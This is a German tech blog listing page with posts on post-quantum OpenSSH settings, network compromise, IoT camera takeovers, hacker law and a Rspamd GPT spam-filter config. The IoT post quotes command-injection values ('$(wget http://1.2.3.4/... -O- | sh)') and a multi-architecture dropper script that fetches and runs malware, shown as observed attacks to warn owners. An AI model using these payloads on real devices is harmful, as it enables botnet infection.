-=Kernel-Error=-

IT security, FreeBSD, Linux, mail server hardening, post-quantum crypto, DNS, retro computing & hands-on hardware hacks. Privater Tech-Blog seit 2003.

Kategorie: Kernel-Error-Blog (Seite 4 von 47)

Persönlicher Tech-Blog von Sebastian van de Meer — Beiträge zu IT-Security, Netzwerken, FreeBSD, Linux, Elektronik und Maker-Projekten.

Quantensichere Kryptografie mit OpenSSH auf FreeBSD 15 richtig konfigurieren

22. Dezember 2025 / / 4 Kommentare

Mein FreeBSD 15 kommt mit OpenSSH 10.0p2 und OpenSSL 3.5.4.
Beide bringen inzwischen das mit, was man aktuell als quantensichere Kryptografie bezeichnet. Oder genauer gesagt das, was wir Stand heute für ausreichend robust gegen zukünftige Quantenangriffe halten.

Illustration zu quantensicherer Kryptografie mit OpenSSH auf FreeBSD 15. Dargestellt sind ein Quantenchip, kryptografische Symbole, ein Server, ein SSH Schlüssel sowie der FreeBSD Daemon als Sinnbild für post-quantum Key Exchange und sichere Serverkommunikation.

Quantensicher? Nein, das hat nichts mit Füßen zu tun, sondern tatsächlich mit den Quanten aus der Physik. Quantencomputer sind eine grundlegend andere Art von Rechnern. Googles aktueller Quantenchip war in diesem Jahr bei bestimmten Physiksimulationen rund 13.000-mal schneller als der derzeit leistungsstärkste klassische Supercomputer. Der chinesische Quantencomputer Jiuzhang wurde bei speziellen Aufgaben sogar als 100 Billionen Mal schneller eingestuft.

Kurz gesagt: Quantencomputer sind bei bestimmten Berechnungen extrem viel schneller als heutige klassische Rechner. Und genau das ist für Kryptografie ein Problem.

Als Vergleich aus der klassischen Welt: Moderne Grafikkarten haben die Zeit zum Knacken von Passwörtern in den letzten Jahren drastisch verkürzt.

  • Nur Zahlen: Ein 12-stelliges Passwort wird praktisch sofort geknackt.
  • Nur Kleinbuchstaben: wenige Wochen bis Monate.
  • Groß- und Kleinschreibung plus Zahlen: etwa 100 bis 300 Jahre.
  • Zusätzlich Sonderzeichen: 2025 noch als sehr sicher einzustufen mit geschätzten 226 bis 3.000 Jahren.

Quantencomputer nutzen spezielle Algorithmen wie den Grover-Algorithmus, der die effektive Sicherheit symmetrischer Verfahren halbiert. Ein ausreichend leistungsfähiger Quantencomputer könnte damit die benötigte Zeit drastisch reduzieren. Was heute Jahrhunderte dauert, könnte theoretisch auf Tage oder Stunden schrumpfen.

Stand 2025 sind solche Systeme zwar real und in der Forschung extrem leistungsfähig, werden aber noch nicht flächendeckend zum Brechen realer Kryptosysteme eingesetzt.

Heißt das also alles entspannt bleiben? Jein.

Verschlüsselte Datenträger lassen sich kopieren und für später weglegen. Gleiches gilt für aufgezeichneten verschlüsselten Netzwerkverkehr. Heute kommt man nicht an die Daten heran, aber es ist absehbar, dass das in Zukunft möglich sein könnte. Genau hier setzt quantensichere Kryptografie an. Ziel ist es, auch aufgezeichnete Daten dauerhaft vertraulich zu halten.

Ein praktisches Beispiel ist der Schlüsselaustausch mlkem768x25519. Wenn ihr diese Seite nicht gerade über Tor lest, ist die Wahrscheinlichkeit hoch, dass euer Browser bereits eine solche hybride, post-quantum-fähige Verbindung nutzt. Im Firefox lässt sich das einfach prüfen über F12, Network, eine Verbindung anklicken, dann Security und dort die Key Exchange Group. Taucht dort mlkem768x25519 auf, ist die Verbindung entsprechend abgesichert. Richtig, auf dem Screenhot seht ihr auch HTTP/3.

Image of mlkem768+x25519 in firefox.

Für diese Webseite ist das nicht zwingend nötig. Für SSH-Verbindungen zu Servern aber unter Umständen schon eher. Deshalb zeige ich hier, wie man einen OpenSSH-Server entsprechend konfiguriert.

Ich beziehe mich dabei bewusst nur auf die Kryptografie. Ein echtes SSH-Hardening umfasst deutlich mehr, darum geht es hier aber nicht.

Die zentrale Konfigurationsdatei ist wie üblich: /etc/ssh/sshd_config

Stand Ende 2025 kann ich folgende Konfiguration empfehlen:

KexAlgorithms mlkem768x25519-sha256,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha256
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
MACs hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,umac-128-etm@openssh.com
HostKeyAlgorithms ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,sk-ssh-ed25519@openssh.com,sk-ssh-ed25519-cert-v01@openssh.com

Die Zeilen werden entweder an die bestehende Konfiguration angehängt oder ersetzen vorhandene Einträge. Da wir nicht einfach blind kopieren wollen, hier kurz die Erklärung.

Schlüsselaustausch:
Bevorzugt werden hybride Verfahren wie mlkem768 kombiniert mit x25519 sowie sntrup761 kombiniert mit x25519. Diese verbinden klassische elliptische Kryptografie mit post-quantum-resistenten Algorithmen. Damit ist die Verbindung sowohl gegen heutige Angreifer als auch gegen zukünftige Store-now-decrypt-later-Szenarien abgesichert. Curve25519 dient als bewährter Fallback. Klassische Diffie-Hellman-Gruppen sind nur aus Kompatibilitätsgründen enthalten.

Verschlüsselung:
Es werden ausschließlich moderne Algorithmen eingesetzt. Primär kommen AEAD-Ciphers wie ChaCha20-Poly1305 und AES-GCM zum Einsatz, die Vertraulichkeit und Integrität gleichzeitig liefern und bekannte Schwächen älterer Modi vermeiden. Ältere Verfahren wie CBC sind bewusst ausgeschlossen.

Integrität:
Zum Einsatz kommen ausschließlich SHA-2-basierte MACs im Encrypt-then-MAC-Modus. Dadurch werden klassische Angriffe auf SSH wie Padding-Oracles und bestimmte Timing-Leaks wirksam verhindert.

Serveridentität:
Als Hostkey-Algorithmus wird Ed25519 verwendet. Optional auch mit Zertifikaten oder hardwaregestützten Security Keys. Das bietet hohe kryptografische Sicherheit bei überschaubarem Verwaltungsaufwand.

Wichtig: Das funktioniert nur, wenn Server und Client diese Algorithmen auch unterstützen. Wer bereits mit SSH-Keys arbeitet, sollte prüfen, dass es sich um Ed25519-Keys handelt. Andernfalls sperrt man sich im Zweifel selbst aus.

Auf dem Server lässt sich die aktive Konfiguration prüfen mit:

sshd -T | grep -Ei 'kexalgorithms|ciphers|macs|hostkeyalgorithms'

Auf dem Client geht es am einfachsten mit:

ssh -Q kex
ssh -Q cipher
ssh -Q mac
ssh -Q key

So sieht man schnell, welche Algorithmen tatsächlich verfügbar sind.

Zur externen Überprüfung der SSH-Konfiguration kann ich außerdem das Tool ssh-audit empfehlen. Aufruf einfach per:

ssh-audit hostname oder IP -p PORT

Das liefert eine brauchbare Einschätzung der aktiven Kryptografie und möglicher Schwachstellen. Oh, wenn ihr schon dabei seit, vergesst nicht:

Hinweis zur Einordnung der Quantensicherheit:
Die hier gezeigte Konfiguration verbessert ausschließlich den Schlüsselaustausch (Key Exchange) durch hybride post-quantum-fähige Verfahren. Hostkeys und Signaturen in OpenSSH basieren weiterhin auf klassischen Algorithmen (z. B. Ed25519 oder ECDSA); standardisierte post-quantum-Signaturalgorithmen sind in OpenSSH aktuell noch nicht implementiert. Es existieren zwar experimentelle Forks (z. B. aus dem Open-Quantum-Safe-Projekt), diese gelten jedoch ausdrücklich nicht als produktionsreif und sind nicht Bestandteil des OpenSSH-Mainlines. Die hier gezeigte Konfiguration ist daher als pragmatischer Übergangsschritt zu verstehen, um „store-now-decrypt-later“-Risiken beim Schlüsselaustausch bereits heute zu reduzieren, ohne auf instabile oder nicht standardisierte Komponenten zu setzen.
Weiterführende Informationen zum aktuellen Stand der post-quantum-Unterstützung in OpenSSH finden sich in der offiziellen Dokumentation: https://www.openssh.com/pq.html

Siehe auch: Post-Quantum TLS für E-Mail — Postfix und Dovecot mit X25519MLKEM768 auf FreeBSD 15, Post-Quantum TLS für Nginx — X25519MLKEM768 auf FreeBSD 15 konfigurieren

Viel Spaß beim Nachbauen. Und wie immer: bei Fragen, fragen.

Ist mein Netzwerk kompromittiert? Warum das kaum jemand merkt

19. Dezember 2025 / / Keine Kommentare

Ich habe ja bereits etwas zum Thema IoT-Geräte geschrieben und warum diese oft deutlich schneller gehijackt werden, als man vielleicht erwartet.

Aber woher weiß man nun als normaler Anwender, ob zu Hause oder im eigenen Netzwerk etwas sein Unwesen treibt?
Nun ja; das ist leider überhaupt nicht so einfach.

Symbolische Darstellung eines kompromittierten Netzwerks mit Warnhinweisen, IoT-Kamera und verdächtigem Datenverkehr.

Klar, man kann sich ganz tolle IPS oder IDS aufbauen. Es gibt dafür auch Open-Source-Systeme; Snort fällt mir da als einer der älteren Vertreter als erstes ein.

Aber das alles ist nichts für den normalen Anwender oder den Privathaushalt. Dann gibt es noch ganz furchtbar viele Schlangenölanbieter mit ihrer „Sicherheitssoftware“ für Windows, Android und Co. Klar, man kann dort Firewall, Virenscanner usw. installieren. Aber hilft das wirklich? Jein, würde ich dazu sagen.

Ist man auf einem aktuellen Patchstand, sollten zumindest die bekannten Löcher geschlossen sein. Dann bleiben fast nur noch Zero-Day-Lücken Ein Virenfilter kennt diese in der Regel auch nicht und lässt so etwas dann schlicht durch.

Eine Firewall-Lösung kann zumindest erkennen, ob plötzlich ungewöhnlicher Traffic unterwegs ist oder ob versehentlich gestartete Dienste nach außen offen stehen. Nur steht und fällt das Ganze oft genau in dem Moment, in dem der Anwender nach einer Entscheidung gefragt wird.

Sicherheitssoftware muss naturgemäß sehr tief im Betriebssystem eingebettet werden. Hat diese Sicherheitssoftware dann selbst Sicherheitslücken, was deutlich häufiger vorkommt, als man zunächst glauben möchte, öffnet man im Zweifel die eigene Infrastruktur über genau die Software, die das eigentlich verhindern soll. Vertraut mir da bitte einfach, wenn ich sage, dass ich das schon sehr oft gesehen habe. Zudem installiert sich so eine Sicherheitssoftware oft nicht einfach auf einer Netzwerkkamera.

Der beste Schutz sind, meiner Meinung nach, noch immer gepflegte Systeme, gute Zugangsdaten und das nötige Misstrauen. Wie kam ich jetzt darauf? Ach richtig; wie findet man eigentlich heraus, ob es überhaupt ein Problem gibt?

Klar, man kann abwarten. Irgendwann merkt man es sicher; spätestens dann, wenn die Polizei mit einer Hausdurchsuchung vor der Tür steht und wissen möchte, was man denn da so alles im Internet verteilt oder angreift.

Eine wirklich gute Lösung habe ich da leider auch nicht. Am ehesten noch Dienste wie GreyNoise (https://check.labs.greynoise.io/). Dort kann man beispielsweise gegen AbuseDB prüfen, ob die eigene IPv4-Adresse irgendwo im Internet „auffällig“ geworden ist; etwa durch Portscans, Spam-Versand oder Malware-Traffic. Ebenfalls kann man hin und wieder bei Have I Been Pwned (https://haveibeenpwned.com/) vorbei schauen, um zu prüfen, ob die eignen Zugangsdaten irgendwo gefunden wurden.

Im Allgemeinen ist aber auch das nur ein Indiz. IP-Adressen wechseln; vor allem bei privaten Anschlüssen. Die eigene IP muss erst auffallen, gemeldet werden und so weiter.

Aber hey; vielleicht hat ja noch jemand einen besseren Tipp?

Fragen? Einfach melden.

IoT-Geräte als Einfallstor: Warum Kameras & Co. häufiger kapert werden, als viele denken

17. November 2025 / / Keine Kommentare

Vielleicht erinnert ihr euch an meine Aussage, dass man jedem Gerät, das man mit dem Internet verbindet, mindestens so viel Vertrauen entgegenbringen sollte wie seiner Haustür. In den letzten Wochen durfte ich das wieder mehrfach sehr anschaulich erklären – direkt anhand realer Beispiele in der IT von Unternehmen oder im privaten Umfeld.

Image of IoT Camera and IT Security

Versteht mich nicht falsch: Es geht mir nicht darum, mich über irgendwen lustig zu machen oder zu behaupten, dass nur Fachleute irgendetwas einrichten dürfen. Wenn jemand ein IoT-Gerät kauft – eine Überwachungskamera, ein Thermometer, eine smarte Steckdose – dann geht diese Person zurecht davon aus, dass es „funktioniert“. Und für viele bedeutet „funktionieren“ automatisch auch: Es ist grundsätzlich sicher.
Leider ist genau das oft nicht der Fall.

IoT in der Praxis: Schnell, günstig – und sicherheitsblind

Viele dieser kleinen Netzwerkgeräte basieren auf irgendeiner Form von Linux. Das ist günstig, flexibel, gut anpassbar – perfekt für Hersteller, die aus Standardmodulen schnell ein neues „Produkt“ zusammensetzen wollen. Die Funktion steht im Vordergrund, denn die sieht der Kunde sofort. Sicherheitsrelevante Details dagegen sieht niemand und sie verzögern die Entwicklung. Also bekommen sie häufig weniger Aufmerksamkeit.

Selbst wenn ein Hersteller alles richtig bedenkt, kann später eine neue Angriffstechnik entstehen, gegen die das Gerät keine Abwehr hat. Dann braucht es ein Firmware-Update. Das kostet Geld, Zeit – und es hilft nur, wenn man es auch einspielt.

„Was soll schon passieren? Es ist doch nur eine Kamera am Mülltonnenplatz …“

Viele denken:
Was soll’s? Wenn jemand sehen kann, wie warm es im Keller ist oder welcher Waschbär die Tonnen plündert – na und?

Das Problem ist nicht der Inhalt der Kamera. Das Problem ist das Gerät selbst.

IoT-Geräte werden extrem häufig missbraucht – und zwar nicht, um euch auszuspionieren, sondern um sie für fremde Zwecke einzuspannen:

  • als Teil eines Botnetzes
  • zum Verteilen von Malware
  • für DDoS-Angriffe
  • zum Minen von Kryptowährungen
  • oder als Einstiegspunkt ins dahinterliegende Netzwerk

Im besten Fall merkt man davon nichts – außer vielleicht einem unerklärlich langsamen Internet.
Im schlechtesten Fall steht plötzlich die Polizei vor der Tür, weil über die eigene IP-Adresse strafbare Downloads verteilt wurden.

Und bevor jemand denkt „Das ist doch konstruiert“: Nein. Das passiert. Dauerhaft. Ich sehe fast täglich Spuren solcher Übernahmen.

Warum diese Geräte so leicht kompromittierbar sind

Bei manchen Geräten ist ein Login – falls überhaupt vorhanden – kaum mehr als ein wackliges Gartentor im Nirgendwo. Default-Passwörter, Basic-Auth ohne HTTPS, unsichere Dienste, schlechte Update-Strategien.

Screenshot of an compromised asus cctv ip camera iot

Ein Klassiker: nicht korrekt geprüfte Eingabefelder.
Viele Web-Interfaces akzeptieren blind alles, was man eingibt – und führen es sogar direkt als Teil eines Shell-Befehls aus.

Beispiel aus einer realen IoT-Kamera-Firmware:

ddns_DyndnsDynamic_hostname='$(wget http://1.2.3.4/x/vivo -O-|sh)'

oder

$(wget http://1.2.3.4/ipcam.zavio.sh -O- | sh)
$(wget http://1.2.3.4/zavio -O- | sh)
$(wget http://1.2.3.4/router.zyxel.sh -O- | sh)
$(wget http://1.2.3.4/router.raisecom.sh -O- | sh)
$(wget http://1.2.3.4/router.draytek.sh -O- | sh)
$(wget http://1.2.3.4/nas.dlink.sh -O- | sh)
$(wget http://1.2.3.4/router.aitemi.sh -O- | sh)
$(wget http://1.2.3.4/ipcam.tplink.sh -O- | sh)
$(wget http://1.2.3.4/router.netgear.sh -O- | sh)
$(wget http://1.2.3.4/dvr.tbk.sh -O- | sh)
$(wget http://1.2.3.4/router.aitemi.sh -O- | sh)

Die Zugangsdaten, die man in solchen Feldern eintragen „muss“, sind dabei oft schlicht. meow könnte hier wohl ein Verweis auf das, durch das Script, zu installierende kitty Paket sein:

Benutzername: meow
Kennwort: meow

Das Entscheidende ist jedoch die Konstruktion $(…).
Linux interpretiert das nicht als Text, sondern als auszuführendes Kommando – mit den Rechten, mit denen die DynDNS-Funktion läuft. Und das ist bei vielen Geräten immer noch root.

Der eigentliche Befehl ist dann:

wget http://1.2.3.4/vivo -O- | sh
  • wget lädt eine Datei herunter
  • -O- sorgt dafür, dass der Inhalt direkt ausgegeben wird
  • das Pipe-Symbol | übergibt den Inhalt an die Shell sh
  • die Shell führt alles aus, was darin steht

Sprich: Man lädt ein beliebiges Skript aus dem Internet – und führt es sofort mit root-Rechten aus. Ohne Rückfrage. Ohne Sicherheit.

Ein Beispiel für ein solches Script könnte folgendes sein:

cd /tmp || cd /var/tmp || cd /var || cd /mnt || cd /dev || cd /
wget http://1.2.3.4/kitty.x86; chmod 777 kitty.x86; ./kitty.x86 ipcam.zavio; rm kitty.x86
wget http://1.2.3.4/kitty.x86_64; chmod 777 kitty.x86_64; ./kitty.x86_64 ipcam.zavio; rm kitty.x86_64
wget http://1.2.3.4/kitty.arm; chmod 777 kitty.arm; ./kitty.arm ipcam.zavio; rm kitty.arm
wget http://1.2.3.4/kitty.mips; chmod 777 kitty.mips; ./kitty.mips ipcam.zavio; rm kitty.mips
wget http://1.2.3.4/kitty.mipsel; chmod 777 kitty.mipsel; ./kitty.mipsel ipcam.zavio; rm kitty.mipsel
wget http://1.2.3.4/kitty.aarch64; chmod 777 kitty.aarch64; ./kitty.aarch64 ipcam.zavio; rm kitty.aarch64

Und ja: Das existiert genauso in freier Wildbahn.

Wenn ihr so etwas in eurer Konfiguration findet: Uff.

Dann würde ich dem Gerät nicht mal mehr nach einem Reset vertrauen. Denn:

  • Wurde vielleicht eine manipulierte Firmware eingespielt?
  • Wurde der Bootloader verändert?
  • Wird nach jedem Neustart automatisch eine Backdoor geöffnet?
  • Gibt es überhaupt offizielle Firmware-Images zum Neu-Flashen?

Oft lautet die bittere Antwort: Nein.
Und dann bleibt realistisch nur: Gerät entsorgen.

Noch schlimmer: Der Angreifer hat damit meist vollen Zugriff auf das Netzwerk hinter dem Gerät.
Und IoT-Geräte speichern gerne:

  • WLAN-Passwörter
  • NAS-Zugangsdaten
  • SMTP-Accounts
  • API-Tokens
  • Nutzer- und Admin-Zugänge anderer Systeme

Damit kann ein Angreifer richtig Schaden anrichten.

Was also tun?

IoT ist nicht böse – aber oft schlecht gemacht.
Daher ein paar Grundregeln, die wirklich jeder beherzigen sollte:

  • IoT immer in ein eigenes, getrenntes Netz.
  • Kein direkter Zugriff aus dem Internet – nur wenn es wirklich sein muss und dann sauber gesichert.
  • Regelmäßig patchen, prüfen, auditieren.
  • Standardpasswörter sofort ändern.
  • Alle nicht benötigten Dienste deaktivieren.

Das ist nicht theoretisch, nicht konstruiert – das ist Alltag. Ich sehe es fast täglich.

BSI will Straffreiheit: Mehr Rechtssicherheit für ethische Hacker

7. November 2025 / / 4 Kommentare
free ethical hackers

Siehe auch: Sicherheitslücken melden: Mein Umgang mit einem Vulnerability Report

Wir leben in Deutschland ja ein bisschen im „Anzeige-ist-raus“-Land. Das merken auch Security-Researcher und ethische Hacker. Solange man Eigentümer:innen/Betreiber:innen nur auf frei und offen erreichbare Probleme hinweist, ist die Welt halbwegs in Ordnung. Sobald man aber beginnt, Schutzmechanismen zu überwinden oder Anwendungen zu übervorteilen, wird’s schnell juristisch dünn. Genau deshalb melde ich in der Regel nur komplett offen erreichbare Dinge – außer es gibt eine security.txt mit klarer Policy oder ein offenes Bug-Bounty mit Safe-Harbor.

Picture of an useless gate.

Ein „Schutzmechanismus“ kann schon eine simple Basic-Auth sein. Kennt ihr dieses Bild vom Gartentor mitten auf dem Weg? Kein Zaun, keine Mauer, nur ein Tor. Auf dem Weg geht’s nicht weiter – aber einen Schritt nach links über die Wiese, und zack, ums Tor herum. Juristisch blöd: Das Umgehen dieses „Törchens“ kann bereits als Überwinden einer Zugangssicherung gewertet werden. Für die Meldenden kann das zum Problem werden, obwohl sie eigentlich helfen wollen.

Die Konsequenz: Selbst krasse Lücken werden oft gar nicht gemeldet, wenn davor ein Gartentörchen steht. Leute mit schlechten Absichten gehen natürlich einfach drumherum und nutzen die Lücke – anonym und schwer nachverfolgbar. Ergebnis: Probleme bleiben länger offen, statt sie sauber zu fixen.

Das sieht auch das BSI so und fordert schon länger mehr Rechtssicherheit für Security-Forschung. Aktuell gibt es wieder Bewegung: BSI-Präsidentin Claudia Plattner plädiert öffentlich für eine Entkriminalisierung ethischer Hacker – sinngemäß: „Wer uns vor Cyberangriffen schützt, darf dafür nicht bestraft werden.“ Die letzte Bundesregierung hatte sogar schon einen Entwurf zur Anpassung des sogenannten Hackerparagrafen in der Pipeline; die neue Regierung prüft das Thema weiter.

Zur Einordnung, worum es geht:

Strafgesetzbuch (StGB) – § 202a Ausspähen von Daten
(1) Wer unbefugt sich oder einem anderen Zugang zu Daten, die nicht für ihn bestimmt und gegen unberechtigten Zugang besonders gesichert sind, unter Überwindung der Zugangssicherung verschafft, wird mit Freiheitsstrafe bis zu drei Jahren oder mit Geldstrafe bestraft.
(2) Daten im Sinne des Absatzes 1 sind nur solche, die elektronisch, magnetisch oder sonst nicht unmittelbar wahrnehmbar gespeichert sind oder übermittelt werden.

Das Problem ist weniger § 202a an sich als das fehlende Safe-Harbor für verantwortungsvolles Melden (Coordinated/Responsible Disclosure). Wenn schon Basic-Auth oder ein dünnes „Do-not-enter“-Schild als „Zugangssicherung“ zählt, macht das legitime Forschung riskant – und genau das will das BSI ändern. Schutz für die Guten, klare Grenzen gegen echten Missbrauch.

Den aktuellen Überblick fasst Golem gut zusammen; lesenswert:
https://www.golem.de/news/hackerparagraf-bsi-chefin-fordert-straffreiheit-fuer-ethische-hacker-2511-201852.html

Meta: Ja, ich bleibe auch künftig bei meiner Linie: Tests nur im eigenen Lab oder mit expliziter Erlaubnis. Alles andere ist nicht nur unklug, sondern schlicht rechtlich riskant.

Ich bleibe bei meinem Tipp für euch: Veröffentlicht eine security.txt. Solltet ihr mal einen Hinweis bekommen, erinnert euch bitte daran, dass die Person gerade den größten Aufwand und das größte Risiko eingeht, um euch auf ein Problem aufmerksam zu machen. Es wäre viel einfacher, die Lücke für sich auszunutzen, zu verkaufen oder sonst wie zu missbrauchen, als den Schritt nach vorne zu gehen und euch fair zu informieren.

Natürlich meine ich damit nicht die Leute, die erst einmal 5.000 € „Audit-Gebühr“ sehen wollen oder beim ungefragten Pentesting eure komplette IT aus dem Verkehr schießen. Ich meine die Menschen, die euch auf dem REWE-Parkplatz freundlich darauf hinweisen, dass ihr euer Portemonnaie auf dem Autodach liegen gelassen habt.

Bedankt euch einfach. 🙂

Fragen? Einfach melden.

IP-Kameras: Risiken, Portfreigaben (RTSP/HTTP) & Checks

30. Oktober 2025 / / Keine Kommentare

Moin, ich mag noch einmal etwas zu IP-Überwachungskameras schreiben. Ihr erinnert euch vielleicht an meinen letzten Beitrag zu diesem Thema KLICK.

article image of ip cameras

Dort habe ich mich speziell auf den RTSP-Port bezogen und auch https://www.shodan.io/ als Beispiel genannt. Shodan scannt unaufhörlich IPv4-Adressen (bei IPv6 wäre ein flächendeckender Scan kaum praktikabel) und stellt seine Ergebnisse öffentlich zur Verfügung. Sicherheitsforscher — aber leider auch Menschen mit schlechten Absichten — bedienen sich solcher Dienste, um Informationen über Systeme hinter einer IPv4-Adresse zu bekommen, ganz ohne selbst groß zu scannen oder zu testen. Grob gesagt: Google für „Hacker“.

Dass IP-Kameras — vor allem günstige oder ältere Modelle — schnell ein Sicherheitsrisiko darstellen, habe ich schon erwähnt; wer das hier liest, weiß es in der Regel auch. Automatische Portfreigaben in Kombination mit solchen Kameras sind oft problematisch. Wenn ich über so etwas stolpere und ohne großen Aufwand den Betreiber ausfindig machen kann, versuche ich jeweils per E-Mail oder einem kurzen Anruf zu warnen. Das stößt mal auf offene Ohren, manchmal wird es komplett ignoriert (manchmal mit Abschalten des öffentlichen Zugriffs, manchmal ohne); selten kommt die Antwort „Anzeige ist raus“.

Kameras filmen oft sensible Bereiche, sowohl innen als auch außen. Das kann viele Probleme mit sich bringen, wenn diese Informationen einfach öffentlich zugänglich sind. Anders als bei Datei-Freigaben scheint bei Kamerastreams noch nicht die nötige Awareness vorhanden zu sein — genau deshalb informiere ich hier und weise darauf hin.

Es ist nicht nur der RTSP-Stream, der sich häufig per UPnP seinen Weg nach draußen „tunnelt“. Oft werden auch per DNAT / Portfreigabe / Portweiterleitung die Webinterfaces der Kameras direkt aus dem Internet erreichbar gemacht. Im schlimmsten Fall kann man also mit dem Browser direkt auf Webinterface und Stream zugreifen. Viele sichern den Zugriff mit der kameraeigenen Anmeldung — das ist schon mal ein Anfang. Leider reicht das nicht immer: Bei manchen Modellen sind Funktionen wie Snapshots oder einzelne JPEG-Endpoints weiterhin ohne Anmeldung erreichbar. Das ist auf den ersten Blick nicht sichtbar — kennt man aber die entsprechende URL, genügt ein Browseraufruf und man sieht wieder alles.

Deshalb gebe ich immer den Rat: Zugriff lieber hinter ein VPN legen und niemals direkt offen ins Internet. Gebt jedem Gerät und jedem Dienst, den ihr aus dem Internet erreichbar macht, mindestens so viel Vertrauen wie eurer Haustür. Und prüft regelmäßig, ob dieses Vertrauen noch gerechtfertigt ist.

Wer selbst prüfen möchte, ob die EIGENE Kamera trotz eingerichteter Anmeldung noch irgendwie ohne Login zugänglich ist, kann mein kurzes Python-Tool nutzen: https://github.com/Kernel-Error/cam_probe

Denkt also bitte einmal darüber nach, ob ihr allem, was ihr direkt mit dem Internet verbunden habt, mindestens das gleiche Vertrauen entgegenbringt wie eurer Haustür oder Wohnungstür. Denkt an die security.txt und daran, dass, wenn sich jemand die Mühe macht, euch über ein solches Problem zu informieren, diese Person damit wahrscheinlich den größten Aufwand und auch das größte Risiko für sich selbst aufnimmt – nur, um euch auf ein Problem hinzuweisen.
Einen solchen Fund zu ignorieren, zu verkaufen oder sonst wie auszunutzen, ist deutlich einfacher, als den Betreiber zu informieren.

Natürlich gibt es auch hier schwarze Schafe, aber die Vertrauenswürdigkeit einer solchen Nachricht lässt sich meist schnell per Google oder auch ChatGPT prüfen.
Frage? Dann fragen. 🙂

GPT in Rspamd aktivieren: so nutze ich das LLM-Signal im Score

30. September 2025 / / 4 Kommentare
Rspamd web interface showing GPT module spam scores

Seit einiger Zeit nutze ich das GPT-Modul von Rspamd, um bei der Spam-Erkennung ein zusätzliches Signal zu bekommen. Es ersetzt nichts — kein Bayes, kein DKIM, kein RBL — sondern ist ein weiterer Sensor im Gesamtbild. Wer sich fragt, wie das in der Praxis aussieht und worauf man achten muss: hier mein aktuelles Setup.

Update 2026-02-13: Dieser Beitrag wurde komplett überarbeitet. Die ursprüngliche Version nutzte json=false, was zu Parse-Problemen führte. Außerdem fehlte ein Custom Prompt — und genau das ist der entscheidende Punkt, wie sich herausgestellt hat.

Voraussetzungen

  • Rspamd >= 3.12 mit GPT-Plugin (bei mir aktuell 3.14.0 auf FreeBSD 15.0)
  • Ein OpenAI API-Key (oder kompatibler Endpoint)
  • Grundverständnis von Rspamd Metrics und Actions

OpenAI API-Key anlegen

OpenAI API usage dashboard for Rspamd GPT integration

Wer noch keinen Key hat: Auf platform.openai.com einloggen, unter API Keys einen neuen Service-Account-Key erzeugen. Der Key wird nur einmal angezeigt — sicher ablegen. Den Verbrauch sieht man im Dashboard. Bei gpt-4o-mini und Mailfiltering sind die Kosten minimal.

Die Konfiguration: gpt.conf

Hier meine aktuelle /usr/local/etc/rspamd/local.d/gpt.conf:

enabled = true;
type = "openai";
model = "gpt-4o-mini";
api_key = "GEHEIMER-KEY";

model_parameters {
  gpt-4o-mini {
    max_tokens = 160;
    temperature = 0.0;
  }
}

timeout = 10s;
allow_ham = true;
allow_passthrough = false;
json = true;

prompt = "You are an email spam detector. Analyze the email and respond with ONLY a JSON object, no other text. The JSON must have these fields: "probability" (number 0.00-1.00 where 1.0=spam, 0.0=ham), "reason" (one sentence citing the strongest indicator). Example: {"probability": 0.85, "reason": "Unsolicited offer with urgent language and suspicious links."}  LEGITIMATE patterns: verification emails with codes, transactional emails (receipts, confirmations), newsletter unsubscribe links. Flag as spam only with MULTIPLE red flags: urgent threats, domain impersonation, requests for credentials, mismatched URLs.";

symbols_to_except {
  RCVD_IN_DNSWL_MED   = -0.1;
  RCVD_IN_DNSWL_HI    = -0.1;
  DWL_DNSWL_MED        = -0.1;
  WHITELIST_RECP_ADDR = -0.1;
  BAYES_HAM           = -0.1;
  SPAMTRAP            = 0;
  RCPT_IN_SPAMTRAP    = 0;
  SPAMTRAP_ADDR       = 0;
  RCVD_VIA_SMTP_AUTH  = 0;
  LOCAL_CLIENT        = 0;
  FROM_LOCAL          = 0;
}

Was hat sich gegenüber der alten Version geändert?

json = true und der Custom Prompt

Das ist die wichtigste Änderung. In meiner ursprünglichen Konfiguration stand json = false. Das funktionierte, hatte aber einen Haken: die Antwort des Modells wurde als Freitext geparst, was unzuverlässig war.

Mit json = true aktiviert Rspamd den JSON-Modus. Das Modell wird angewiesen, strukturiertes JSON zurückzuliefern, und der Parser erwartet ein Feld probability in der Antwort.

Und hier kommt der Fallstrick: Der Default-Prompt von Rspamd passt nicht zum JSON-Modus. Er fordert das Modell auf, nummerierte Textzeilen zurückzugeben:

Output ONLY 2 lines:
1. Numeric score: 0.00-1.00
2. One-sentence reason...

Der JSON-Parser erwartet aber:

{"probability": 0.85, "reason": "..."}

Das Ergebnis: cannot convert spam score im Log und GPT_UNCERTAIN(0.00) bei jeder Mail. Das GPT-Modul lief, lieferte aber nie ein verwertbares Ergebnis.

Lösung: ein Custom Prompt, der explizit JSON mit dem probability-Feld verlangt. Damit funktioniert die Kette:

  1. Rspamd sendet Mail + Prompt an OpenAI
  2. OpenAI antwortet mit {"probability": 0.9, "reason": "..."}
  3. Rspamd parst das JSON, findet probability, mappt auf GPT_SPAM/GPT_HAM/GPT_SUSPICIOUS

reason_header entfernt

In der alten Version hatte ich reason_header = "X-GPT-Reason" gesetzt. Das schrieb die GPT-Begründung als eigenen Header in die Mail. Mit json = true ist das nicht mehr nötig — die Reason steckt im JSON und taucht im Rspamd-Log auf. Außerdem entferne ich ohnehin GPT-Header per Milter-Config, damit keine internen Analyse-Details an den Empfänger durchsickern.

symbols_to_except angepasst

Änderungen gegenüber der alten Version:

  • GREYLIST entfernt: Greylisting ist kein Vertrauens-Signal. Eine Mail die Greylisting besteht, kann trotzdem Spam sein. GPT soll diese Mails weiterhin bewerten.
  • BAYES_HAM hinzugefügt: Wenn Bayes die Mail bereits sicher als Ham einstuft, spart man sich den GPT-Call. Sinnvoll für Newsletter und regelmäßige Korrespondenz.
  • SPAMTRAP-Symbole hinzugefügt: Mails an Spamtrap-Adressen brauchen keine GPT-Analyse, die sind per Definition Spam.

Scoring: Gewichte und Thresholds

Die GPT-Symbole und ihre Gewichte in der metrics.conf (bzw. local.d/groups.conf):

symbols {
